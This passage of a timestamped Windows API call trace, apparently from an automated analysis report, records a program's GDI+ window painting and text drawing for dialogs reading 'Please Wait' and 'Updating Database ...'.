CoTaskMemAlloc (cb=0x1c) returned 0x1afd2f60 [0109.298] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afd2f60, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0109.298] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afd2f60) returned 0xb [0109.298] CoTaskMemFree (pv=0x1afd2f60) [0109.298] GetClientRect (in: hWnd=0x702f6, lpRect=0x15d230 | out: lpRect=0x15d230) returned 1 [0109.298] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.298] GdipCreateFromHDC (hdc=0x3010b83, graphics=0x15ce00) returned 0x0 [0109.298] GdipSetPageUnit (graphics=0x1de45cf0, unit=0x2) returned 0x0 [0109.298] GdipCreateMatrix (matrix=0x15ccf0) returned 0x0 [0109.298] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.298] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15cd50) returned 0x0 [0109.298] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.298] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.298] GdipCreateRegion (region=0x15ccf0) returned 0x0 [0109.298] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.298] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15cd20) returned 0x0 [0109.298] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.298] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.298] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15cdf0) returned 0x0 [0109.298] GdipCreateRegion (region=0x15ccc0) returned 0x0 [0109.299] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.299] GdipCreateMatrix (matrix=0x15ccc0) returned 0x0 [0109.299] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.299] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15cd20) returned 0x0 [0109.299] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.299] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.299] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.299] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.299] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15cd70) returned 0x0 [0109.299] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.299] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.299] GdipGetDC (graphics=0x1de45cf0, hdc=0x15cda0) returned 0x0 [0109.300] GetCurrentObject (hdc=0x3010b83, type=0x1) returned 0x1b00017 [0109.300] GetCurrentObject (hdc=0x3010b83, type=0x2) returned 0x1900010 [0109.300] GetCurrentObject (hdc=0x3010b83, type=0x7) returned 0x1050032 [0109.300] GetCurrentObject (hdc=0x3010b83, type=0x6) returned 0x18a002e [0109.300] SaveDC (hdc=0x3010b83) returned 1 [0109.300] OffsetViewportOrgEx (in: hdc=0x3010b83, x=0, y=0, lppt=0x26fdab8 | out: lppt=0x26fdab8) returned 1 [0109.300] GetNearestColor (hdc=0x3010b83, color=0xffffff) returned 0xffffff [0109.300] CreateSolidBrush (color=0xffffff) returned 0x1a100190 [0109.300] FillRect (hDC=0x3010b83, lprc=0x15cd70, hbr=0x1a100190) returned 1 [0109.300] DeleteObject (ho=0x1a100190) returned 1 [0109.300] RestoreDC (hdc=0x3010b83, nSavedDC=-1) returned 1 [0109.300] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.300] GdipReleaseDC (graphics=0x1de45cf0, hdc=0x3010b83) returned 0x0 [0109.300] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.300] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.300] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.301] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.301] GetWindowTextLengthW (hWnd=0x702f6) returned 11 [0109.301] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0109.301] GetSystemMetrics (nIndex=42) returned 0 [0109.301] CoTaskMemAlloc (cb=0x1c) returned 0x1afd2f60 [0109.301] GetWindowTextW (in: hWnd=0x702f6, lpString=0x1afd2f60, nMaxCount=12 | out: lpString="Please Wait") returned 11 [0109.301] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xd, wParam=0xc, lParam=0x1afd2f60) returned 0xb [0109.301] CoTaskMemFree (pv=0x1afd2f60) [0109.301] EndPaint (hWnd=0x702f6, lpPaint=0x15dcf8) returned 1 [0109.301] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x0 [0109.301] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.301] IsWindowUnicode (hWnd=0x2031e) returned 1 [0109.301] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.301] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.301] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.301] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0109.301] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.302] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.302] CreateCompatibleDC (hdc=0x2d010b73) returned 0xffffffffc401026a [0109.302] SelectObject (hdc=0xffffffffc401026a, h=0x1a05067e) returned 0x185000f [0109.302] GdipCreateFromHDC (hdc=0xffffffffc401026a, graphics=0x15daf0) returned 0x0 [0109.302] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.302] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0109.302] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.302] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.302] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.302] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.302] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.303] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.303] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.303] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.303] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.303] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.303] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dc50) returned 0x0 [0109.303] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dd20) returned 0x0 [0109.303] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.303] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.303] GetSystemMetrics (nIndex=42) returned 0 [0109.303] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.303] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.303] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.303] CoTaskMemFree (pv=0x4ffe60) [0109.303] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.303] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.303] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.303] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.303] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.303] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0109.304] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.304] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.304] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.304] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.304] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.304] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.305] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.305] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.305] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.305] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d7c0) returned 0x0 [0109.305] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d780) returned 0x0 [0109.305] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d780) returned 0x0 [0109.305] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.305] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.305] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d7f0) returned 0x0 [0109.305] GetCurrentObject (hdc=0xffffffffc401026a, type=0x1) returned 0x1b00017 [0109.305] GetCurrentObject (hdc=0xffffffffc401026a, type=0x2) returned 0x1900010 [0109.305] GetCurrentObject (hdc=0xffffffffc401026a, type=0x7) returned 0x1a05067e [0109.305] GetCurrentObject (hdc=0xffffffffc401026a, type=0x6) returned 0x18a002e [0109.305] SaveDC (hdc=0xffffffffc401026a) returned 1 [0109.305] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x13040b8a [0109.305] GetClipRgn (hdc=0xffffffffc401026a, hrgn=0x13040b8a) returned 0 [0109.305] SelectClipRgn (hdc=0xffffffffc401026a, hrgn=0x420407c3) returned 2 [0109.306] DeleteObject (ho=0x13040b8a) returned 1 [0109.306] DeleteObject (ho=0x420407c3) returned 1 [0109.306] OffsetViewportOrgEx (in: hdc=0xffffffffc401026a, x=0, y=0, lppt=0x26fe1a0 | out: lppt=0x26fe1a0) returned 1 [0109.306] GetNearestColor (hdc=0xffffffffc401026a, color=0xffffff) returned 0xffffff [0109.306] CreateSolidBrush (color=0xffffff) returned 0x1b100190 [0109.306] FillRect (hDC=0xffffffffc401026a, lprc=0x15d7c0, hbr=0x1b100190) returned 1 [0109.307] DeleteObject (ho=0x1b100190) returned 1 [0109.307] RestoreDC (hdc=0xffffffffc401026a, nSavedDC=-1) returned 1 [0109.307] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.307] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc401026a) returned 0x0 [0109.307] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdb00dbd) returned 0x0 [0109.307] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.307] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.307] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0109.307] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.307] GetSystemMetrics (nIndex=42) returned 0 [0109.307] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.307] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.307] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.307] CoTaskMemFree (pv=0x4ffe60) [0109.307] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0109.307] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0109.307] GdipDrawImageRectI (graphics=0x1de45cf0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0109.308] GdipGetDC (graphics=0x1de45cf0, hdc=0x15dbf0) returned 0x0 [0109.308] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffffc401026a, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.308] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.308] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc401026a) returned 0x0 [0109.308] SelectObject (hdc=0xffffffffc401026a, h=0x185000f) returned 0x1a05067e [0109.308] DeleteDC (hdc=0xffffffffc401026a) returned 1 [0109.308] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.308] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.308] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.308] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0109.308] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.308] IsWindowUnicode (hWnd=0x20320) returned 1 [0109.308] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.308] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.308] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.308] BeginPaint (in: hWnd=0x20320, lpPaint=0x15dc38 | out: lpPaint=0x15dc38) returned 0x1010b9d [0109.308] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.309] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.309] CreateCompatibleDC (hdc=0x1010b9d) returned 0xffffffffc701026a [0109.309] SelectObject (hdc=0xffffffffc701026a, h=0x1a05067e) returned 0x185000f [0109.309] GdipCreateFromHDC (hdc=0xffffffffc701026a, graphics=0x15da40) returned 0x0 [0109.309] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.309] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=158, height=16, combineMode=0x0) returned 0x0 [0109.309] GdipCreateMatrix (matrix=0x15db70) returned 0x0 [0109.309] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.309] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dbd0) returned 0x0 [0109.309] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.309] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.310] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.310] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.310] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.310] GdipCreateRegion (region=0x15db70) returned 0x0 [0109.310] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.310] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dba0) returned 0x0 [0109.310] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dc70) returned 0x0 [0109.310] GetWindowTextLengthW (hWnd=0x20320) returned 21 [0109.310] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0109.311] GetSystemMetrics (nIndex=42) returned 0 [0109.311] CoTaskMemAlloc (cb=0x30) returned 0x1afbdcf0 [0109.311] GetWindowTextW (in: hWnd=0x20320, lpString=0x1afbdcf0, nMaxCount=22 | out: lpString="Updating Database ...") returned 21 [0109.311] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xd, wParam=0x16, lParam=0x1afbdcf0) returned 0x15 [0109.311] CoTaskMemFree (pv=0x1afbdcf0) [0109.311] GetClientRect (in: hWnd=0x20320, lpRect=0x15dbd0 | out: lpRect=0x15dbd0) returned 1 [0109.311] GdipCreateRegion (region=0x15d660) returned 0x0 [0109.311] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.311] GdipCreateMatrix (matrix=0x15d660) returned 0x0 [0109.311] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a590) returned 0x0 [0109.311] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d6c0) returned 0x0 [0109.311] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.311] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.312] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.312] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0109.312] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.312] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1afbdcf0) returned 0x0 [0109.312] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.315] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.315] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0109.315] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d710) returned 0x0 [0109.315] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de45cf0, result=0x15d6d0) returned 0x0 [0109.315] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de45cf0, hRgn=0x15d6d0) returned 0x0 [0109.316] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.316] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0109.316] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d740) returned 0x0 [0109.316] GetCurrentObject (hdc=0xffffffffc701026a, type=0x1) returned 0x1b00017 [0109.316] GetCurrentObject (hdc=0xffffffffc701026a, type=0x2) returned 0x1900010 [0109.316] GetCurrentObject (hdc=0xffffffffc701026a, type=0x7) returned 0x1a05067e [0109.316] GetCurrentObject (hdc=0xffffffffc701026a, type=0x6) returned 0x18a002e [0109.316] SaveDC (hdc=0xffffffffc701026a) returned 1 [0109.316] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x430407c3 [0109.316] GetClipRgn (hdc=0xffffffffc701026a, hrgn=0x430407c3) returned 0 [0109.316] SelectClipRgn (hdc=0xffffffffc701026a, hrgn=0x14040b8a) returned 2 [0109.316] DeleteObject (ho=0x430407c3) returned 1 [0109.316] DeleteObject (ho=0x14040b8a) returned 1 [0109.316] OffsetViewportOrgEx (in: hdc=0xffffffffc701026a, x=0, y=0, lppt=0x26fe858 | out: lppt=0x26fe858) returned 1 [0109.316] GetNearestColor (hdc=0xffffffffc701026a, color=0xffffff) returned 0xffffff [0109.317] CreateSolidBrush (color=0xffffff) returned 0x1c100190 [0109.317] FillRect (hDC=0xffffffffc701026a, lprc=0x15d710, hbr=0x1c100190) returned 1 [0109.317] DeleteObject (ho=0x1c100190) returned 1 [0109.317] RestoreDC (hdc=0xffffffffc701026a, nSavedDC=-1) returned 1 [0109.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.317] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc701026a) returned 0x0 [0109.317] GdipRestoreGraphics (graphics=0x1de45cf0, state=0xfffffffffdae0dbd) returned 0x0 [0109.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.317] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0109.317] GetWindowTextLengthW (hWnd=0x20320) returned 21 [0109.317] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x15 [0109.317] GetSystemMetrics (nIndex=42) returned 0 [0109.317] CoTaskMemAlloc (cb=0x30) returned 0x1afbdcf0 [0109.317] GetWindowTextW (in: hWnd=0x20320, lpString=0x1afbdcf0, nMaxCount=22 | out: lpString="Updating Database ...") returned 21 [0109.317] CallWindowProcW (lpPrevWndFunc=0x7fefbda61b4, hWnd=0x20320, Msg=0xd, wParam=0x16, lParam=0x1afbdcf0) returned 0x15 [0109.317] CoTaskMemFree (pv=0x1afbdcf0) [0109.317] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d790) returned 0x0 [0109.317] GetCurrentObject (hdc=0xffffffffc701026a, type=0x1) returned 0x1b00017 [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x2) returned 0x1900010 [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x7) returned 0x1a05067e [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x6) returned 0x18a002e [0109.318] SaveDC (hdc=0xffffffffc701026a) returned 1 [0109.318] GetNearestColor (hdc=0xffffffffc701026a, color=0x0) returned 0x0 [0109.318] RestoreDC (hdc=0xffffffffc701026a, nSavedDC=-1) returned 1 [0109.318] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.318] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc701026a) returned 0x0 [0109.318] AdjustWindowRectEx (in: lpRect=0x15d650, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x15d650) returned 1 [0109.318] GdipGetTextRenderingHint (graphics=0x1de45cf0, mode=0x15d670) returned 0x0 [0109.318] GdipGetDC (graphics=0x1de45cf0, hdc=0x15d650) returned 0x0 [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x1) returned 0x1b00017 [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x2) returned 0x1900010 [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x7) returned 0x1a05067e [0109.318] GetCurrentObject (hdc=0xffffffffc701026a, type=0x6) returned 0x18a002e [0109.318] SaveDC (hdc=0xffffffffc701026a) returned 1 [0109.318] GetTextAlign (hdc=0xffffffffc701026a) returned 0x0 [0109.319] GetTextColor (hdc=0xffffffffc701026a) returned 0x0 [0109.319] GetCurrentObject (hdc=0xffffffffc701026a, type=0x6) returned 0x18a002e [0109.319] GetObjectW (in: h=0x18a002e, c=92, pv=0x15d0c0 | out: pv=0x15d0c0) returned 92 [0109.319] SelectObject (hdc=0xffffffffc701026a, h=0xd0a0b75) returned 0x18a002e [0109.319] GetBkMode (hdc=0xffffffffc701026a) returned 2 [0109.319] SetBkMode (hdc=0xffffffffc701026a, mode=1) returned 2 [0109.319] DrawTextExW (in: hdc=0xffffffffc701026a, lpchText="Updating Database ...", cchText=21, lprc=0x15d200, format=0x100000, lpdtp=0x26fef40 | out: lpchText="Updating Database ...", lprc=0x15d200) returned 16 [0109.319] RestoreDC (hdc=0xffffffffc701026a, nSavedDC=-1) returned 1 [0109.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.319] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc701026a) returned 0x0 [0109.319] GdipGetDC (graphics=0x1de45cf0, hdc=0x15db40) returned 0x0 [0109.319] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=158, cy=16, hdcSrc=0xffffffffc701026a, x1=0, y1=0, rop=0xcc0020) returned 1 [0109.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.319] GdipReleaseDC (graphics=0x1de45cf0, hdc=0xffffffffc701026a) returned 0x0 [0109.319] SelectObject (hdc=0xffffffffc701026a, h=0x185000f) returned 0x1a05067e [0109.320] DeleteDC (hdc=0xffffffffc701026a) returned 1 [0109.320] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.320] GdipDeleteGraphics (graphics=0x1de45cf0) returned 0x0 [0109.320] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0109.320] EndPaint (hWnd=0x20320, lpPaint=0x15dc48) returned 1 [0109.320] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0109.320] IsWindowUnicode (hWnd=0x20312) returned 1 [0109.320] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0109.320] TranslateMessage (lpMsg=0x15e910) returned 0 [0109.320] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0109.320] BeginPaint (in: hWnd=0x20312, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0109.320] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0109.320] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0109.320] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffffca01026a [0109.321] GetObjectType (h=0x3010b83) returned 0x3 [0109.321] CreateCompatibleBitmap (hdc=0x3010b83, cx=1, cy=1) returned 0x3b0507c2 [0109.321] GetDIBits (in: hdc=0x3010b83, hbm=0x3b0507c2, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x15d378, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d378) returned 1 [0109.321] GetDIBits (in: hdc=0x3010b83, hbm=0x3b0507c2, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x15d378, usage=0x0 | out: lpvBits=0x0, lpbmi=0x15d378) returned 1 [0109.321] DeleteObject (ho=0x3b0507c2) returned 1 [0109.321] CreateDIBSection (in: hdc=0x3010b83, lpbmi=0x15d550, usage=0x0, ppvBits=0x15d548, hSection=0x0, offset=0x0 | out: ppvBits=0x15d548) returned 0x6050ba7 [0109.321] SelectObject (hdc=0xffffffffca01026a, h=0x6050ba7) returned 0x185000f [0109.321] GdipCreateFromHDC (hdc=0xffffffffca01026a, graphics=0x15da60) returned 0x0 [0109.321] GdipTranslateWorldTransform (graphics=0x1de45cf0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0109.321] GdipSetClipRectI (graphics=0x1de45cf0, x=0, y=0, width=239, height=209, combineMode=0x0) returned 0x0 [0109.321] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0109.321] GdipGetWorldTransform (graphics=0x1de45cf0, matrix=0x1dc0a510) returned 0x0 [0109.321] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0109.321] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1afbdcf0 [0109.321] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1afbdcf0) returned 0x0 [0109.322] LocalFree (hMem=0x1afbdcf0) returned 0x0 [0109.322] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0109.322] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0109.322] GdipCreateRegion (region=0x15dc20) returned 0x0 [0109.322] GdipGetClip (graphics=0x1de45cf0, region=0x1d2e7c10) returned 0x0 [0109.322] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de45cf0, result=0x15dc50) returned 0x0 [0109.322] GdipSaveGraphics (graphics=0x1de45cf0, state=0x15dd20) returned 0x0 [0109.322] GetWindowTextLengthW (hWnd=0x20312) returned 0 [0109.322] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0109.323] GetSystemMetrics (nIndex=42) returned 0 [0109.323] CoTaskMemAlloc (cb=0x6) returned 0x4ffe60 [0109.323] GetWindowTextW (in: hWnd=0x20312, lpString=0x4ffe60, nMaxCount=1 | out: lpString="") returned 0 [0109.323] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0xd, wParam=0x1, lParam=0x4ffe60) returned 0x0 [0109.323] CoTaskMemFree (pv=0x4ffe60) [0109.323] GetClientRect (in: hWnd=0x20312, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0109.323] GdipCreateRegion (region=0x15d710) returned 0x0 [0109.323] GdipGetClip (graphics=0x1de45cf0, region=0x1de43ea0) returned 0x0 [0109.323] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0109.323] 